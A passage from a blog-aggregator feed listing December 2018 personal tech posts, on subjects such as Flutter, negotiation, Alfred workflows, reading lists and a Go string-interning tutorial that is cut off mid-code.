&lt;p&gt;If you can move out of your comfortable &lt;code class="language-plaintext highlighter-rouge"&gt;UIKit&lt;/code&gt; zone, I think Flutter is a pretty good tool. The performance so far was really nice (at least on the simulators). I can not say much anymore, I would have to complete my photo app to give any good opinion, but I can already say that so far with all the things I’ve tried with cross platform development, Flutter was the best.&lt;/p&gt;

&lt;p&gt;The code can be found along with my other prototypes at &lt;a href="https://github.com/chunkyguy/PhotoApp"&gt;https://github.com/chunkyguy/PhotoApp&lt;/a&gt;. Thansk for reading. See you again later!&lt;/p&gt;</description><author>Whacky Labs</author><pubDate>Fri, 14 Dec 2018 22:49:54 GMT</pubDate><guid isPermaLink="true">https://whackylabs.com/flutter/app/cross-platform/2018/12/14/hello-flutter/</guid></item><item><title>Semester Finished</title><link>https://lambdaland.org/posts/2018-12-14-semester-finished/</link><description>&lt;p&gt;I finished the semester! This is how I feel:&lt;/p&gt;
&lt;figure class="kg-card kg-embed-card"&gt;&lt;/figure&gt;
&lt;p&gt;Don&amp;rsquo;t you?&lt;/p&gt;
&lt;p&gt;Well, I still have finals. But those are easy compared to the projects I&amp;rsquo;ve had to push out. I&amp;rsquo;ll probably write about my escapades later. :)&lt;/p&gt;</description><author>Ashton Wiersdorf on Lambda Land</author><pubDate>Fri, 14 Dec 2018 09:08:48 GMT</pubDate><guid isPermaLink="true">https://lambdaland.org/posts/2018-12-14-semester-finished/</guid></item><item><title>Snowboarding bookmarks</title><link>https://xenodium.com/snowboarding-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=18680617"&gt;Snowboarding for Geeks (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Fri, 14 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/snowboarding-bookmarks</guid></item><item><title>React Hooks TL;DR</title><link>https://medium.com/@pomber/react-hooks-tl-dr-a5bfdd9189cb</link><description>React hooks for people in a hurry</description><author>Rodrigo Pombo</author><pubDate>Fri, 14 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://medium.com/@pomber/react-hooks-tl-dr-a5bfdd9189cb</guid></item><item><title>Negotiation: from arm wrestling to dancing</title><link>http://dimitarsimeonov.com/2018/12/13/negotiation-from-arm-wrestling-to-dancing</link><description>&lt;p&gt;When we hear the word negotiation, we often think of haggling. A series of one-upping offers.&lt;/p&gt;

&lt;p&gt;“This couch costs $300”&lt;br /&gt;
“I’ll pay $50 for it”&lt;br /&gt;
“No way, that’s too low”&lt;br /&gt;
“OK, I’ll go to $70”,&lt;br /&gt;
“Nah, at least 250”,&lt;br /&gt;
“100”, “200” “120”&lt;br /&gt;
“200”,&lt;br /&gt;
“127 is my final offer”&lt;br /&gt;
“…”&lt;br /&gt;
“….”&lt;br /&gt;
“Okay”, sighing.&lt;/p&gt;

&lt;p&gt;It looks like a battle. It feels like two people arm wresting, comparing who has the largest biceps and shoulders. Who is more stubborn.&lt;/p&gt;

&lt;p&gt;It’s bruteforce and it’s brute.&lt;/p&gt;

&lt;p&gt;But who really “won” the negotiation. Was it the person who kept their position better, or the person who found better compromises. What if the person who compromised more only did it in order to make the other person “feel” they won the negotiation. Meanwhile, they were up already at a big win from the beginning and used the negotiation to stretch it out. Or… what if their goal altogether was to make a deal, any deal, in order to get benefits much larger than the deal itself?&lt;/p&gt;

&lt;p&gt;For example, when you take a loan with interest, no matter what the amount of the loan, the agency will make money on it, as long as you sign on to it. For them, not giving you a loan is the losing scenario. They win by making any deal, regardless of the price. Any deal is good deal for them.&lt;/p&gt;

&lt;p&gt;That is on the next level arm wrestling here. It’s like Brazilian Jiu Jitsu, BJJ for short. If two people have to resolve a dispute by physical force, someone with 5 years of BJJ will have no trouble overpowering THE BEST arm-wrestler in the world, assuming they don’t know martial arts. And that is regardless of the size. Jiu jitsu is a better system, as it uses the whole body, and not just the arm.&lt;/p&gt;

&lt;p&gt;Likewise, in negotiation, a person who approaches it as a haggling competition, will get defeated by anyone more advanced, who can understand positions, interests and emotions and can yield them to outmaneuver the haggler and put them haggling against themselves. The haggler wouldn’t even realize what happened to them.&lt;/p&gt;

&lt;p&gt;&lt;img alt="rear necked chocke" src="https://d2mxuefqeaa7sj.cloudfront.net/s_7549A7A8230B00CBE130C861C101D5544C0D116C2A0253735F850E6DE8EAFDA8_1544728450194_IMG_5650.JPG" width="100%" /&gt;&lt;/p&gt;

&lt;p&gt;What good is arm wrestling when you’re getting rear-necked chocked?&lt;/p&gt;

&lt;p&gt;But we don’t go around figuratively choking out every person that we have a disagreement with. We don’t have have to make them tap out in submission. Especially when there is any kind of relationship on the line- love, friendship, business relationship, or even parent-child relationship. Because if we choke them at all, we stand to lose relationship.&lt;/p&gt;

&lt;p&gt;And because, really, they don’t have to lose, for us to win. It’s not a zero-sum game. In most relationships, there is way to have a win-win.&lt;/p&gt;

&lt;p&gt;With relationships, it’s more like a dance than a fight. Each person adapts to the other. One person might lead, and another might follow. Then the roles might switch. The speed and the energy vary and are constantly adjusted. It’s a whole body and whole mind experience. We adapt to them in our posture, position, eye contact, tone of voice, thoughts, emotions, incentives and logic. It takes our whole being to do that dance. If the feet are not moving, we lose the rhythm, and the dance falls apart. We engage our feet, we spin and shake and adapt to the other person. We create the dance together, using our whole beings.&lt;/p&gt;

&lt;p&gt;They adapt likewise. Both sides want to keep the dance going. Nobody wants to be choked, or arm wrestled when they’re dancing.&lt;/p&gt;</description><author>D13V</author><pubDate>Thu, 13 Dec 2018 21:17:24 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2018/12/13/negotiation-from-arm-wrestling-to-dancing</guid></item><item><title>Using an Alfred workflow to assist in switching from Google Chrome to Firefox</title><link>https://jasonraimondi.com/posts/using-an-alfred-workflow-to-assist-in-switching-from-google-chrome-to-firefox/</link><description>&lt;p&gt;This workflow is meant to help break the habit of using Google Chrome. I tend to launch applications with Alfred. When I want to launch a browser, what is engraved in my brain is CHROME!&lt;/p&gt;
&lt;h5 id="every-time-8984--space--chrome--enter"&gt;Every time: ⌘ + SPACE → “chrome” → ENTER.&lt;/h5&gt;
&lt;p&gt;&lt;img alt="alfred workflow preview" src="./imgs/alfred-workflow-opened.png" /&gt;&lt;/p&gt;
&lt;p&gt;To help combat this, &lt;a href="https://git.jasonraimondi.com/jason/alfred-workflow-launch-firefox-instead-of-chrome"&gt;I’ve created an Alfred workflow&lt;/a&gt; that is triggered by the keyword “chrome” and will launch Firefox.&lt;/p&gt;
&lt;p&gt;Now every time I am about to launch Chrome, I see the “Launch Firefox Instead of Chrome” launcher. After selecting it a time or two, Alfred will start to prioritize it above the actual Google Chrome application.&lt;/p&gt;</description><author>Jason Raimondi on Software Engineer</author><pubDate>Thu, 13 Dec 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://jasonraimondi.com/posts/using-an-alfred-workflow-to-assist-in-switching-from-google-chrome-to-firefox/</guid></item><item><title>References</title><link>https://ferrucc.io/references/</link><description>&lt;h2 id="blog-posts"&gt;Blog Posts&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://explained.ai/matrix-calculus/index.html"&gt;The Matrix Calculus You Need For Deep Learning&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="design-inspiration"&gt;Design Inspiration&lt;/h2&gt;
&lt;p&gt;As I want to improve my UX skills for the next projects I&amp;rsquo;ll be using some standard frameworks like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ant.design/"&gt;Ant Design&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://material-ui.com/"&gt;Material UI&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="landing-pages"&gt;Landing Pages&lt;/h3&gt;
&lt;p&gt;This is a list of landing pages I look to when trying to find inspiration:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pitch.com"&gt;Pitch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://notpot.com/"&gt;Not Pot&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Don&amp;rsquo;t want to miss any of this?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You can find out about everything that gets added here by receiving my monthly email.&lt;/p&gt;</description><author>ferrucc.io</author><pubDate>Wed, 12 Dec 2018 15:31:50 GMT</pubDate><guid isPermaLink="true">https://ferrucc.io/references/</guid></item><item><title>Print your shoes</title><link>https://yasha.solutions/print-your-shoes/</link><description>Because why not.Source : https://www.thingiverse.com/thing:285404
Supplies : https://www.gearbest.com/3d-printer-supplies/pp_919228.html?wid=1433363&amp;amp;lkid=15674036</description><author>Yasha Solutions</author><pubDate>Wed, 12 Dec 2018 06:10:13 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/print-your-shoes/</guid></item><item><title>expressjs dynamic routing – reading list</title><link>https://yasha.solutions/expressjs-dynamic-routing-reading-list/</link><description>http://expressjs.com/en/guide/routing.html https://alexanderzeitler.com/articles/expressjs-dynamic-runtime-routing/ https://stackoverflow.com/questions/19096453/convert-object-to-express-dynamic-routes https://github.com/OneOfOne/dynamic-routes</description><author>Yasha Solutions</author><pubDate>Wed, 12 Dec 2018 05:48:44 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/expressjs-dynamic-routing-reading-list/</guid></item><item><title>how to cut video using nodejs and ffmpeg</title><link>https://yasha.solutions/how-to-cut-video-using-nodejs-and-ffmpeg/</link><description>https://stackoverflow.com/questions/31046930/how-to-cut-a-video-in-specific-start-end-time-in-ffmpeg-by-node-js#31050135 https://stackoverflow.com/questions/18444194/cutting-the-videos-based-on-start-and-end-time-using-ffmpeg?rq=1 https://stackoverflow.com/questions/40454172/ffmpeg-cut-video-and-include-ending-video-image?rq=1 https://superuser.com/questions/138331/using-ffmpeg-to-cut-up-video#704118 https://medium.com/@brianshaler/on-the-fly-video-rendering-with-node-js-and-ffmpeg-165590314f2</description><author>Yasha Solutions</author><pubDate>Wed, 12 Dec 2018 05:40:46 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/how-to-cut-video-using-nodejs-and-ffmpeg/</guid></item><item><title>Mongodb – Reference or embed</title><link>https://yasha.solutions/mongodb-reference-or-embed/</link><description>https://stackoverflow.com/questions/5373198/mongodb-relationships-embed-or-reference https://www.tutorialspoint.com/mongodb/mongodb_relationships.htm https://www.studytonight.com/mongodb/relationships-in-mongodb https://docs.mongodb.com/manual/applications/data-models-relationships/ http://blog.markstarkman.com/blog/2011/09/15/mongodb-many-to-many-relationship-data-modeling/</description><author>Yasha Solutions</author><pubDate>Wed, 12 Dec 2018 05:37:07 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/mongodb-reference-or-embed/</guid></item><item><title>shitty time reset procedure (src: twitter)</title><link>https://yasha.solutions/shitty-time-reset-procedure-src-twitter/</link><description>source
NB: take with a grain of salt – but still some interesting tips. posted for reference
#thread start: if you’re having a shitty time with your mental health and are low functioning i feel u &amp;amp; sympathise. here’s a list of potential actions for u to take to feel better/exist through it. try to pick a few &amp;amp; do them, but if you can’t : that’s valid too. let’s go</description><author>Yasha Solutions</author><pubDate>Wed, 12 Dec 2018 05:21:18 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/shitty-time-reset-procedure-src-twitter/</guid></item><item><title>Set up a different an SSH key for git push for a give repository</title><link>https://yasha.solutions/set-up-a-different-an-ssh-key-for-git-push-for-a-give-repository/</link><description>ok so I add the following problem to deal with.
Posted here for reference.
Source
Even if the user and host are the same, they can still be distinguished in ~/.ssh/config. For example, if your configuration looks like this:
Then you just use gitolite-as-alice and gitolite-as-bob instead of the hostname in your URL:</description><author>Yasha Solutions</author><pubDate>Wed, 12 Dec 2018 05:08:29 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/set-up-a-different-an-ssh-key-for-git-push-for-a-give-repository/</guid></item><item><title>UX challenges –  7 rapid prototypinng</title><link>https://yasha.solutions/ux-challenges-7-rapid-prototypinng/</link><description>Rapid prototyping exercices Exercise 1: Mobile TV programs dashboard
 Scenario: when users login on the app what will they see, what can they do Goals: Engagement  Exercise 2: Rapid prototyping of a live class
 Scenario: User is watch a live class – with interactive features Goals: interactivity with the teacher and / or other studens, accessibility, access to materials  Exercise 3: A memo card :
 scenario: User selected to watch a series of random memo cards goals: Fun, Interactive  Exercise 4: Collaborative social media publishing</description><author>Yasha Solutions</author><pubDate>Wed, 12 Dec 2018 05:05:11 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/ux-challenges-7-rapid-prototypinng/</guid></item><item><title>Books I'm Reading to Become a Better Writer</title><link>https://thomashunter.name/posts/2018-12-12-books-im-reading-to-become-a-better-writer</link><description>I recently picked up several books on writing. I'd like to share these books with you in the hopes that you might also find them interesting.</description><author>Thomas Hunter II</author><pubDate>Wed, 12 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-12-12-books-im-reading-to-become-a-better-writer</guid></item><item><title>What I Listen To</title><link>https://bpev.me/notes/what-i-listen-to-2018</link><author>bpev.me</author><pubDate>Wed, 12 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://bpev.me/notes/what-i-listen-to-2018</guid></item><item><title>String interning in Go</title><link>https://artem.krylysov.com/blog/2018/12/12/string-interning-in-go/</link><description>&lt;p&gt;String interning is a technique of storing only one copy of each unique string in memory. It can significantly reduce memory usage for applications that store many duplicated strings.&lt;/p&gt;
&lt;p&gt;The built-in &lt;span class="docutils literal"&gt;string&lt;/span&gt; is represented internally as a structure containing two fields. &lt;span class="docutils literal"&gt;Data&lt;/span&gt; is a pointer to the string data and &lt;span class="docutils literal"&gt;Len&lt;/span&gt; is a length of the string:&lt;/p&gt;
&lt;pre class="code go literal-block"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;StringHeader&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;Data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uintptr&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;Len&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In Go strings are immutable, so multiple strings can share the same underlying data:&lt;/p&gt;
&lt;pre class="code go literal-block"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;fmt&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;reflect&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;unsafe&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c1"&gt;// stringptr returns a pointer to the string data.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;stringptr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uintptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;reflect&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;StringHeader&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="nx"&gt;unsafe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nx"&gt;Data&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;s1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1234&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;s2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;s1&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// &amp;quot;12&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="c1"&gt;// s1 and s2 are different strings, but they point to the same string data&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;stringptr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;stringptr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Most of modern programming languages including Go intern compile-time string constants:&lt;/p&gt;
&lt;pre class="code go literal-block"&gt;&lt;code&gt;&lt;span class="nx"&gt;s1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;12&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;s2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;2&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;stringptr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;stringptr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// true&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But strings generated at runtime are not interned:&lt;/p&gt;
&lt;pre class="code go literal-block"&gt;&lt;code&gt;&lt;span class="nx"&gt;s1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;12&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;s2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;strconv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Itoa&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;stringptr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;stringptr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// false&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;section id="implementation"&gt;
&lt;h3&gt;Implementation&lt;a class="headerlink" href="#implementation" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;To implement string interning we need a data structure representing a pool of strings. The pool needs to support two operations: adding a string to the pool and retrieving a string from the pool. A good candidate for the requirements is a hash map:&lt;/p&gt;
&lt;pre class="code go literal-block"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;fmt&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;strconv&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;stringInterner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;si&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;stringInterner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Intern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;interned&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;si&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;interned&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;si&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;si&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;stringInterner&lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;s1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;si&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Intern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;12&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
